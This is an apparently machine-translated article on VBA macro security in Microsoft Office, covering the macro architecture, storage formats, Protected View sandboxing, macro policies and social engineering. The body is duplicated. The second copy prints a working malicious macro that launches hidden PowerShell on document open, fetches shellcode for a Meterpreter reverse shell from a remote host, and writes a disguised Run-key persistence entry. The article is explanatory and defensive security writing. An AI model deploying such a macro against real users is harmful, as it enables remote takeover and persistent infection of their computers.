Microsoft Office Security: VBA Macros
In 2016, researchers noted an upsurge of activity, almost a rebirth, which had recently seemed hopelessly outdated technology for spreading unwanted software - carrying malicious load of macros in Microsoft Office documents, the so-called. "Macroviruses".
The most famous macro virus, Melissa, appeared in March 1999. The virus hit at least one hundred thousand computers around the world, paralyzed the work of hundreds of companies, the damage to the economy amounted to 80 million dollars in the United States alone.
')
Judging by the reports of companies related to information security ( for example, here ), to date, macro viruses still occupy the top lines in the prevalence ratings.
There were no new vulnerabilities that contributed to this, as in general there were no purely technical prerequisites. Apparently, malware distributors, lacking fresh bugs, turned their attention to poorly forgotten (and still effective) old ones.
Why, almost twenty years later, the same technology remains in service with all kinds of computer intruders? Let's try to figure it out.
Kovter and Emotet are distributed using macros in Office documents.
The so-called "macros" of Microsoft Office are small programs for an interpreted language Visual Basic for Applications (VBA), whose support is integrated into the Microsoft Office product line.
Macros, due to their capabilities, can be used for almost any office automation task.
VBA covers all versions of Microsoft Office for Windows since 1997. and including not yet released 2019, as well as some other Microsoft applications, such as MapPoint and Visio, and software from other manufacturers: AutoCAD, CorelDraw, LibreOffice, Reflection, WordPerfect.
Implemented VBA support in Office for Mac OS X, with the exception of 2008.
When custom installation of Microsoft Office, you can opt out of VBA support, but by default this subsystem is included in the set of installed programs.
VBA editor in Microsoft Word
Document macros have rather rich functionality that can be divided into three categories:
Access to the content of the document may be necessary for automatic editing and formation of documents. This is a very important feature that allows you to automate some of the routine work of office staff (for example, inserting pre-prepared table templates or other elements into documents).
Access to the interface and interface events of an office application allows you to simplify working with macros (for example, it helps to link the execution of a macro to an event or a combination of keys). The execution of macros can be tied to various interface events or to user actions. For example, the AutoOpen macro binds to a document opening event, and this is due to the use by attackers as the main one.
Access to the file system and OS resources may be necessary to perform complex automation tasks related to the processing of non-standard document formats and / or automatic distribution (for example, sending automatically generated reports by mail).
The latter class of functionality makes the execution of a macro from a security point of view equivalent to starting a regular executable file. Considering that macros can be attached to documents and start their execution automatically (if you do not take into account security restrictions), it can be argued that opening such a document is equivalent to launching a third-party executable file that receives the same privileges in the system as the one that activated it user.
Automation allows VBA programs to control the behavior of not only the host application, but also other Microsoft Office applications (as, indeed, any COM objects in the system).
The interaction between the VBA scripts and the host application is carried out using OLE automation technology. For this, the host application provides APIs in the form of COM interfaces and a type library (TypeLibrary). This API allows you to interact with the host application: for example, modify the contents of the document or receive various notifications about user actions. The API is not universal, and may depend on the type and version of the host application, so a macro designed to work inside Microsoft Word will not work in Excel. However, document macros can use the automation API of several host applications at once. For example, you can create a macro that runs inside Excel: reads a table, generates reports based on it in Microsoft Word format and sends them to various email addresses using Microsoft Outlook automation.
In addition to the wide possibilities in the operating system, VBA programs have such attractive properties for an attacker, such as reliability and stability of execution, compatibility (with some reservations) with the entire Office line. Most of the logical, and even more binary, vulnerabilities cannot boast with such independence provided by the VBA virtual machine.
There are document templates that are loaded by the default application, for example, normal.dotm in Word. These documents may also contain macros that run with the application. This simplest technique can be used to fix unwanted software in the system.
PC invisible penetration techniques are mainly based on standard techniques used by malware. These include encryption of a binary payload that is written to disk by a macro, using WMI to create a child process that performs further destructive actions.
An example of a macro with a "useful" load
The reason for the emergence of VBA architecture in the form in which it is known to us today, most likely, was the optimization by Microsoft of the development costs of the language and the macro engine itself. The basis was a ready-made script language interpreter with capabilities significantly exceeding the requirements for macro-language office documents. This allows you to create macros on VBA, which in their functionality are rather similar to plug-ins for office applications, and they should be subject to other requirements for security, distribution and publication.
VBA is a somewhat curtailed version of Visual Basic and is also different in that the programs on it work only within the host application (for example, Excel), are associated with the document for which they were created, and cannot be run as a separate application.
In skilled hands, these small limitations are easily overcome. VBA programs have the ability to use DLLs, COM classes, access to the file system - this is more than enough to perform any operations on the operating system that are available to the account under which the Office applications are running.
The manufacturer claims that VBA macros in Office applications under Mac OS are executed inside the sandbox, without access to system functions, the file system and other applications. However, given the fact that the VBA interpreter for this OS was developed not so long ago, security researchers may well expect interesting findings in this direction.
There is no isolation of macro execution in Windows package applications. Macros are executed on behalf of and with the rights of the user who opened the document.
Usually, the VBEx virtual machine (x is the version number) is installed along with the office suite and is located in% CommonProgramFiles% \ microsoft shared \ VBA \ "subfolder with version". It represents several DLL libraries and resource libraries. Libraries are loaded into the address space of the application process that executes the document macros.
Code created in the VBA editor is saved within the document file. Modern Office Open XML documents containing macros must have a special extension (".docm", ". Dotm", ". Xlm", ". Xltm", ...), otherwise the application will refuse to open them. Inside a zip archive of a document, a VBA project is stored in a CFBF storage file .
In obsolete documents (.doc, .xls, .ppt, ...), representing CFBF, VBA is stored in the second-level “Macros” storage, the format of which is similar to the previous one.
In this case, the name (file name extension) or icon, the user does not determine that the document may contain macros.
Microsoft has kindly published the VBA project storage format specification in Office documents: [MS-OVBA] . As one would expect, many interesting fields of structures are described in the specification approximately as follows:
It is curious to note that if the p-code format is partially available to antivirus companies under the Non Disclosure Agreement, then the Performance Cache format, also called Execode in some sources, is almost unknown (based on some precedents, we can even assume that Microsoft itself does not know ).
Such a technique gives a certain freedom of action to the creators of macro viruses and entails additional difficulties for anti-virus scanners: depending on the version of the package and the virtual machine, the source code can be compiled, p-code used or Performance Cache loaded, which need not correspond to one another.
When opening documents containing VBA projects, the application creates a temporary storage file to which it copies the VBA directories. Copying is carried out by means of the system's Structured Storage API; at this stage, the Office applications do not interact directly with the contents of the storage. VBA code, in one of the three options, will be loaded by the virtual machine only after the user allows execution (or if execution is allowed by default).
There are two main security issues that need to be addressed when developing the architecture of our own macro language:
* What can macros have access to
* Can macros be distributed as part of documents?
If we consider the VBA macro architecture from Microsoft described above, it becomes obvious that both of these issues are not solved correctly. This led to the fact that opening a Microsoft Office document with macros is equivalent to launching a regular executable file.
Thus, Microsoft Office documents with macros:
* Possess properties and capabilities of a regular executable file.
* Do not belong to the type of executable files registered in the system and are not perceived by users as executable.
Due to the prevalence of the Microsoft Office suite and document transfers in email attachments, as well as the two properties of documents with macros described above, they have become an easy and reliable way for malware to penetrate users' computers. So easy that Microsoft had to solve this problem by expanding the function of the office security mechanism.
Two security mechanisms are integrated directly into Microsoft Office applications:
* Protected view mode
* The policy of prohibiting the execution of macros VBA.
In Microsoft Office there is a protected mode that is activated when viewing files downloaded from the Internet, prohibits the launch of any active content (including macros) and creates a number of restrictions for the process that opens this document. When you open a document in this mode, a child process is created (in which the document is viewed) with a reduced level of integrity and a Job restriction to create child processes (this is done by restricting one active process in Job).
These restrictions, first of all, are aimed at preventing the exploitation of ordinary binary vulnerabilities in the office application itself.
The isolation of a process that displays a document in protected mode is generally well implemented and deserves special mention.
At the application level in Microsoft Windows, the following process isolation features are provided:
* Token restrictions (access token) process
* GUI subsystem limitations
* Job object restrictions for the process.
The isolation of the process of an office application displaying a document is implemented using all these three mechanisms.
Approximate scheme of the work of protected mode to view Microsoft Office documents
Untrusted documents are opened in an isolated process that is created by the main process broker of an office application. For this, a special token is formed, with which an isolated process will be created using the CreateProcessAsUser function. Depending on whether the operating system supports launching processes with the AppContainer token or not, the token is configured differently.
For operating systems that support AppContainer technology (Windows 8 and higher), a container folder is created, permissions are configured for working with a named pipe, through which an isolated process can communicate with a broker process, and a special capability (Capability) with an undocumented SID is added, peculiar only to Microsoft Office. Processes based on AppContainer technology are limited by the capabilities added to them (Capabilities). They define the boundaries of the sandbox in which the process is executed. An isolated office application process, thus, can only work with files inside its own container folder, and communicate with the broker process via a named pipe. Access to the network is completely closed, since the process lacks the Capability for opening ports and outgoing connections.
For earlier operating systems that do not support the AppContainer technology but activate the process execution with a low level of integrity, a more complex setting of the token of the isolated process is performed. The following SIDs in token groups are disabled: Domain Users, Administrators, Console Logon, This Organization, NTLM Authentication, Medium Mandatory Level. SIDs of the following entities are limited in the access token of the isolated process: Restricted Code, Everyone, Logon Session. Permissions are set for working with the named channel of the broker process and the integrity level is lowered to low. It also creates a folder for the isolated process and sets permissions to interact with it.
After setting up the access token, regardless of the support for the AppContainer technology, a process is created in the suspended state. This process is added to Job with special limitations. The limitations of the Job object are usually the following:
* Number of active processes - 1
* Process completion with unhandled exception
* Termination of child processes at the completion of the parent process.
Optionally, depending on the settings of the office application, GUI isolation is formed, in particular, a new desktop for an isolated process can be created. Usually this is not done. The desktop defines, in particular, the clipboard. After creating, setting up the process permissions and adding it to the Job object, the broker process resumes the execution of the isolated process, removing it from the Suspended state.
The process of isolation of the process described above, in which the opening of an untrusted document occurs, greatly complicates the exploitation of ordinary binary vulnerabilities. As a rule, attackers have to search for additional vulnerabilities in the OS kernel in order to go beyond the sandbox of the isolated process in which the document is displayed created by the broker processor.
However, if you allow macros to run, the application will not work in protected mode (even if the file has been downloaded), and thus the VBA virtual machine will not receive restrictions. The user can disable the protected viewing mode by pressing the “Enable editing” button, which appears in the yellow warning bar when opening a loaded document.
VBA application launch settings can be changed by user settings.
Setting the macro launch policy in the Trust Center window
By default, there is a setting that prohibits the execution of all macros with user notification. "Alarm" is as follows:
By clicking on the “Enable Content” button, the user allows the execution of all document macros, including automatic ones, thereby putting their PC at risk of infection.
In response to the increased number of threats from the distribution of documents with macros, Microsoft has developed a more stringent security policy that can be customized by administrators through the Windows group policy mechanism. The administrator can configure it in such a way that the execution of macros in documents loaded over the network will be allowed.
It should also be noted that for all policies there are exceptions:
* Trusted file system locations
* Trusted Publishers.
Documents from trusted locations in the file system are opened with minimal restrictions. The same applies to the mechanism of trusted publishers. In particular, VSTOs that are signed by certificates of trusted publishers can be automatically launched.
Most methods of circumventing security mechanisms are built on social engineering. Users do not perceive Microsoft Office files with macros as executable, so they are easily misled by demonstrating the abnormal opening of a document and inviting the user to turn on macros to fix problems. The attackers provide detailed instructions in case the users themselves cannot figure out how to do this, and a powerful looking justification for the need to turn them on.
On the forums of the relevant subject you can meet the announcement of the creation of "customized design solutions" for the paperwork, designed to convince the user to include active content. The cost of such decisions can be significant, and the efficiency, according to the authors, reaches 60%.
The user's desire is exploited as soon as possible to obtain information from the document. Because of this, many, even without thinking, allow the execution of macros. The formation of the appearance and content of such documents depends solely on the imagination of intruders and is based on the typical users' lack of knowledge of the complex capabilities of the VBA macro language, leading to malware infection of the system. After the user allows the macro to execute and infect the computer, the macro usually shows the user the information he wanted to see, changing the open document accordingly using the automation API.
Modern versions of Office have the ability to change group policies, which allows the domain administrator to block the execution of VBA on all user computers without the possibility of changing this setting by the user. Undoubtedly, in terms of security, this is a step forward. Unfortunately, this feature is often not used, since many companies have their own widely used set of macros that no one wants to give up.
There is another unobvious nuance that represents a significant security breach. Office memory contains the “property” of AutomationSecurity , a variable that contains security settings for active content, including macros and ActiveX controls. If the application was started by the user in a standard way, for example, an icon on the desktop or opening a document, this variable will correspond to the settings set by the user in the Security Center window or by the administrator using templates. If the application is launched as an Automation client, from a script or another application (for example, a accounting application), the AutomationSecurity variable will contain the minimum value “msoAutomationSecurityLow”. As a result, when processing an automated application of a document, the VBA programs contained in the document will also be executed, unless the programmer specifically changed the variable to msoAutomationSecurityByUI or msoAutomationSecurityForceDisable.
What about the Melissa virus and the damage it caused? A surprisingly effective and effective result looks even more impressive if you pay attention to one small detail: the warning message about the danger of macro viruses when opening a document containing macros appeared in Microsoft Office 97 (Melissa, we recall, appeared in 1999).
In order to disable the warning, it was necessary to uncheck the settings.
One could read a detailed explanation of the danger of macro viruses and the undesirability of running macros from unreliable sources.
Apparently, this stopped few people.
The most famous macro virus, Melissa, appeared in March 1999. The virus hit at least one hundred thousand computers around the world, paralyzed the work of hundreds of companies, the damage to the economy amounted to 80 million dollars in the United States alone.
')
Judging by the reports of companies related to information security ( for example, here ), to date, macro viruses still occupy the top lines in the prevalence ratings.
There were no new vulnerabilities that contributed to this, as in general there were no purely technical prerequisites. Apparently, malware distributors, lacking fresh bugs, turned their attention to poorly forgotten (and still effective) old ones.
Why, almost twenty years later, the same technology remains in service with all kinds of computer intruders? Let's try to figure it out.
Kovter and Emotet are distributed using macros in Office documents.
What is a "macro"
The so-called "macros" of Microsoft Office are small programs for an interpreted language Visual Basic for Applications (VBA), whose support is integrated into the Microsoft Office product line.
Macros, due to their capabilities, can be used for almost any office automation task.
What programs support VBA macros
VBA covers all versions of Microsoft Office for Windows since 1997. and including not yet released 2019, as well as some other Microsoft applications, such as MapPoint and Visio, and software from other manufacturers: AutoCAD, CorelDraw, LibreOffice, Reflection, WordPerfect.
Implemented VBA support in Office for Mac OS X, with the exception of 2008.
When custom installation of Microsoft Office, you can opt out of VBA support, but by default this subsystem is included in the set of installed programs.
VBA editor in Microsoft Word
What can VBA
Document macros have rather rich functionality that can be divided into three categories:
- Access to document content, including active content inserted into it (ActiveX)
- Access to office application interface events and user actions in this office application (for example, keystrokes)
- Access to the file system, operating system resources using COM and WMI objects created.
Access to the content of the document may be necessary for automatic editing and formation of documents. This is a very important feature that allows you to automate some of the routine work of office staff (for example, inserting pre-prepared table templates or other elements into documents).
Access to the interface and interface events of an office application allows you to simplify working with macros (for example, it helps to link the execution of a macro to an event or a combination of keys). The execution of macros can be tied to various interface events or to user actions. For example, the AutoOpen macro binds to a document opening event, and this is due to the use by attackers as the main one.
Access to the file system and OS resources may be necessary to perform complex automation tasks related to the processing of non-standard document formats and / or automatic distribution (for example, sending automatically generated reports by mail).
The latter class of functionality makes the execution of a macro from a security point of view equivalent to starting a regular executable file. Considering that macros can be attached to documents and start their execution automatically (if you do not take into account security restrictions), it can be argued that opening such a document is equivalent to launching a third-party executable file that receives the same privileges in the system as the one that activated it user.
Automation allows VBA programs to control the behavior of not only the host application, but also other Microsoft Office applications (as, indeed, any COM objects in the system).
The interaction between the VBA scripts and the host application is carried out using OLE automation technology. For this, the host application provides APIs in the form of COM interfaces and a type library (TypeLibrary). This API allows you to interact with the host application: for example, modify the contents of the document or receive various notifications about user actions. The API is not universal, and may depend on the type and version of the host application, so a macro designed to work inside Microsoft Word will not work in Excel. However, document macros can use the automation API of several host applications at once. For example, you can create a macro that runs inside Excel: reads a table, generates reports based on it in Microsoft Word format and sends them to various email addresses using Microsoft Outlook automation.
In addition to the wide possibilities in the operating system, VBA programs have such attractive properties for an attacker, such as reliability and stability of execution, compatibility (with some reservations) with the entire Office line. Most of the logical, and even more binary, vulnerabilities cannot boast with such independence provided by the VBA virtual machine.
There are document templates that are loaded by the default application, for example, normal.dotm in Word. These documents may also contain macros that run with the application. This simplest technique can be used to fix unwanted software in the system.
PC invisible penetration techniques are mainly based on standard techniques used by malware. These include encryption of a binary payload that is written to disk by a macro, using WMI to create a child process that performs further destructive actions.
' Author: Matt Nelson ' Twitter: @enigma0x3 Sub Auto_Open() Execute Persist End Sub Public Function Execute() As Variant Const HIDDEN_WINDOW = 0 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID End Function Public Function Persist() As Variant Dim WShell As Object Set WShell = CreateObject("WScript.Shell") WShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate", "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NonInteractive -WindowStyle Hidden -noprofile -noexit -Command IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/persist.ps1'))", "REG_SZ" Set WShell = Nothing End Function An example of a macro with a "useful" load
How VBA support is implemented
The reason for the emergence of VBA architecture in the form in which it is known to us today, most likely, was the optimization by Microsoft of the development costs of the language and the macro engine itself. The basis was a ready-made script language interpreter with capabilities significantly exceeding the requirements for macro-language office documents. This allows you to create macros on VBA, which in their functionality are rather similar to plug-ins for office applications, and they should be subject to other requirements for security, distribution and publication.
VBA is a somewhat curtailed version of Visual Basic and is also different in that the programs on it work only within the host application (for example, Excel), are associated with the document for which they were created, and cannot be run as a separate application.
In skilled hands, these small limitations are easily overcome. VBA programs have the ability to use DLLs, COM classes, access to the file system - this is more than enough to perform any operations on the operating system that are available to the account under which the Office applications are running.
The manufacturer claims that VBA macros in Office applications under Mac OS are executed inside the sandbox, without access to system functions, the file system and other applications. However, given the fact that the VBA interpreter for this OS was developed not so long ago, security researchers may well expect interesting findings in this direction.
There is no isolation of macro execution in Windows package applications. Macros are executed on behalf of and with the rights of the user who opened the document.
Usually, the VBEx virtual machine (x is the version number) is installed along with the office suite and is located in% CommonProgramFiles% \ microsoft shared \ VBA \ "subfolder with version". It represents several DLL libraries and resource libraries. Libraries are loaded into the address space of the application process that executes the document macros.
Code created in the VBA editor is saved within the document file. Modern Office Open XML documents containing macros must have a special extension (".docm", ". Dotm", ". Xlm", ". Xltm", ...), otherwise the application will refuse to open them. Inside a zip archive of a document, a VBA project is stored in a CFBF storage file .
In obsolete documents (.doc, .xls, .ppt, ...), representing CFBF, VBA is stored in the second-level “Macros” storage, the format of which is similar to the previous one.
In this case, the name (file name extension) or icon, the user does not determine that the document may contain macros.
Microsoft has kindly published the VBA project storage format specification in Office documents: [MS-OVBA] . As one would expect, many interesting fields of structures are described in the specification approximately as follows:
MUST be ignored on read. MUST not be present on write.However, if you wish, you can find out that, in addition to the VBA source code, a compiled so-called p-code (packed code) is also written to the storage file. The format of this intermediate code for a virtual machine depends on the version of VBA. If the document is open in an application that uses the same version of the virtual machine, p-code will be loaded and executed, and the source code will be ignored. There is also a third variant of the code to be saved: this is an application-specific binary format, which in the specification is named streamlined Performance Cache and is written to the file when the program is executed.
It is curious to note that if the p-code format is partially available to antivirus companies under the Non Disclosure Agreement, then the Performance Cache format, also called Execode in some sources, is almost unknown (based on some precedents, we can even assume that Microsoft itself does not know ).
Such a technique gives a certain freedom of action to the creators of macro viruses and entails additional difficulties for anti-virus scanners: depending on the version of the package and the virtual machine, the source code can be compiled, p-code used or Performance Cache loaded, which need not correspond to one another.
When opening documents containing VBA projects, the application creates a temporary storage file to which it copies the VBA directories. Copying is carried out by means of the system's Structured Storage API; at this stage, the Office applications do not interact directly with the contents of the storage. VBA code, in one of the three options, will be loaded by the virtual machine only after the user allows execution (or if execution is allowed by default).
Built-In Macro Anti-Virus Mechanisms
There are two main security issues that need to be addressed when developing the architecture of our own macro language:
* What can macros have access to
* Can macros be distributed as part of documents?
If we consider the VBA macro architecture from Microsoft described above, it becomes obvious that both of these issues are not solved correctly. This led to the fact that opening a Microsoft Office document with macros is equivalent to launching a regular executable file.
Thus, Microsoft Office documents with macros:
* Possess properties and capabilities of a regular executable file.
* Do not belong to the type of executable files registered in the system and are not perceived by users as executable.
Due to the prevalence of the Microsoft Office suite and document transfers in email attachments, as well as the two properties of documents with macros described above, they have become an easy and reliable way for malware to penetrate users' computers. So easy that Microsoft had to solve this problem by expanding the function of the office security mechanism.
Two security mechanisms are integrated directly into Microsoft Office applications:
* Protected view mode
* The policy of prohibiting the execution of macros VBA.
In Microsoft Office there is a protected mode that is activated when viewing files downloaded from the Internet, prohibits the launch of any active content (including macros) and creates a number of restrictions for the process that opens this document. When you open a document in this mode, a child process is created (in which the document is viewed) with a reduced level of integrity and a Job restriction to create child processes (this is done by restricting one active process in Job).
These restrictions, first of all, are aimed at preventing the exploitation of ordinary binary vulnerabilities in the office application itself.
The isolation of a process that displays a document in protected mode is generally well implemented and deserves special mention.
At the application level in Microsoft Windows, the following process isolation features are provided:
* Token restrictions (access token) process
* GUI subsystem limitations
* Job object restrictions for the process.
The isolation of the process of an office application displaying a document is implemented using all these three mechanisms.
Approximate scheme of the work of protected mode to view Microsoft Office documents
Untrusted documents are opened in an isolated process that is created by the main process broker of an office application. For this, a special token is formed, with which an isolated process will be created using the CreateProcessAsUser function. Depending on whether the operating system supports launching processes with the AppContainer token or not, the token is configured differently.
For operating systems that support AppContainer technology (Windows 8 and higher), a container folder is created, permissions are configured for working with a named pipe, through which an isolated process can communicate with a broker process, and a special capability (Capability) with an undocumented SID is added, peculiar only to Microsoft Office. Processes based on AppContainer technology are limited by the capabilities added to them (Capabilities). They define the boundaries of the sandbox in which the process is executed. An isolated office application process, thus, can only work with files inside its own container folder, and communicate with the broker process via a named pipe. Access to the network is completely closed, since the process lacks the Capability for opening ports and outgoing connections.
For earlier operating systems that do not support the AppContainer technology but activate the process execution with a low level of integrity, a more complex setting of the token of the isolated process is performed. The following SIDs in token groups are disabled: Domain Users, Administrators, Console Logon, This Organization, NTLM Authentication, Medium Mandatory Level. SIDs of the following entities are limited in the access token of the isolated process: Restricted Code, Everyone, Logon Session. Permissions are set for working with the named channel of the broker process and the integrity level is lowered to low. It also creates a folder for the isolated process and sets permissions to interact with it.
After setting up the access token, regardless of the support for the AppContainer technology, a process is created in the suspended state. This process is added to Job with special limitations. The limitations of the Job object are usually the following:
* Number of active processes - 1
* Process completion with unhandled exception
* Termination of child processes at the completion of the parent process.
Optionally, depending on the settings of the office application, GUI isolation is formed, in particular, a new desktop for an isolated process can be created. Usually this is not done. The desktop defines, in particular, the clipboard. After creating, setting up the process permissions and adding it to the Job object, the broker process resumes the execution of the isolated process, removing it from the Suspended state.
The process of isolation of the process described above, in which the opening of an untrusted document occurs, greatly complicates the exploitation of ordinary binary vulnerabilities. As a rule, attackers have to search for additional vulnerabilities in the OS kernel in order to go beyond the sandbox of the isolated process in which the document is displayed created by the broker processor.
However, if you allow macros to run, the application will not work in protected mode (even if the file has been downloaded), and thus the VBA virtual machine will not receive restrictions. The user can disable the protected viewing mode by pressing the “Enable editing” button, which appears in the yellow warning bar when opening a loaded document.
VBA application launch settings can be changed by user settings.
Setting the macro launch policy in the Trust Center window
By default, there is a setting that prohibits the execution of all macros with user notification. "Alarm" is as follows:
By clicking on the “Enable Content” button, the user allows the execution of all document macros, including automatic ones, thereby putting their PC at risk of infection.
In response to the increased number of threats from the distribution of documents with macros, Microsoft has developed a more stringent security policy that can be customized by administrators through the Windows group policy mechanism. The administrator can configure it in such a way that the execution of macros in documents loaded over the network will be allowed.
It should also be noted that for all policies there are exceptions:
* Trusted file system locations
* Trusted Publishers.
Documents from trusted locations in the file system are opened with minimal restrictions. The same applies to the mechanism of trusted publishers. In particular, VSTOs that are signed by certificates of trusted publishers can be automatically launched.
Bypassing anti-macro virus techniques
Most methods of circumventing security mechanisms are built on social engineering. Users do not perceive Microsoft Office files with macros as executable, so they are easily misled by demonstrating the abnormal opening of a document and inviting the user to turn on macros to fix problems. The attackers provide detailed instructions in case the users themselves cannot figure out how to do this, and a powerful looking justification for the need to turn them on.
On the forums of the relevant subject you can meet the announcement of the creation of "customized design solutions" for the paperwork, designed to convince the user to include active content. The cost of such decisions can be significant, and the efficiency, according to the authors, reaches 60%.
The user's desire is exploited as soon as possible to obtain information from the document. Because of this, many, even without thinking, allow the execution of macros. The formation of the appearance and content of such documents depends solely on the imagination of intruders and is based on the typical users' lack of knowledge of the complex capabilities of the VBA macro language, leading to malware infection of the system. After the user allows the macro to execute and infect the computer, the macro usually shows the user the information he wanted to see, changing the open document accordingly using the automation API.
Modern versions of Office have the ability to change group policies, which allows the domain administrator to block the execution of VBA on all user computers without the possibility of changing this setting by the user. Undoubtedly, in terms of security, this is a step forward. Unfortunately, this feature is often not used, since many companies have their own widely used set of macros that no one wants to give up.
There is another unobvious nuance that represents a significant security breach. Office memory contains the “property” of AutomationSecurity , a variable that contains security settings for active content, including macros and ActiveX controls. If the application was started by the user in a standard way, for example, an icon on the desktop or opening a document, this variable will correspond to the settings set by the user in the Security Center window or by the administrator using templates. If the application is launched as an Automation client, from a script or another application (for example, a accounting application), the AutomationSecurity variable will contain the minimum value “msoAutomationSecurityLow”. As a result, when processing an automated application of a document, the VBA programs contained in the document will also be executed, unless the programmer specifically changed the variable to msoAutomationSecurityByUI or msoAutomationSecurityForceDisable.
In conclusion...
What about the Melissa virus and the damage it caused? A surprisingly effective and effective result looks even more impressive if you pay attention to one small detail: the warning message about the danger of macro viruses when opening a document containing macros appeared in Microsoft Office 97 (Melissa, we recall, appeared in 1999).
In order to disable the warning, it was necessary to uncheck the settings.
One could read a detailed explanation of the danger of macro viruses and the undesirability of running macros from unreliable sources.
Apparently, this stopped few people.
Source: https://habr.com/ru/post/353800/
All Articles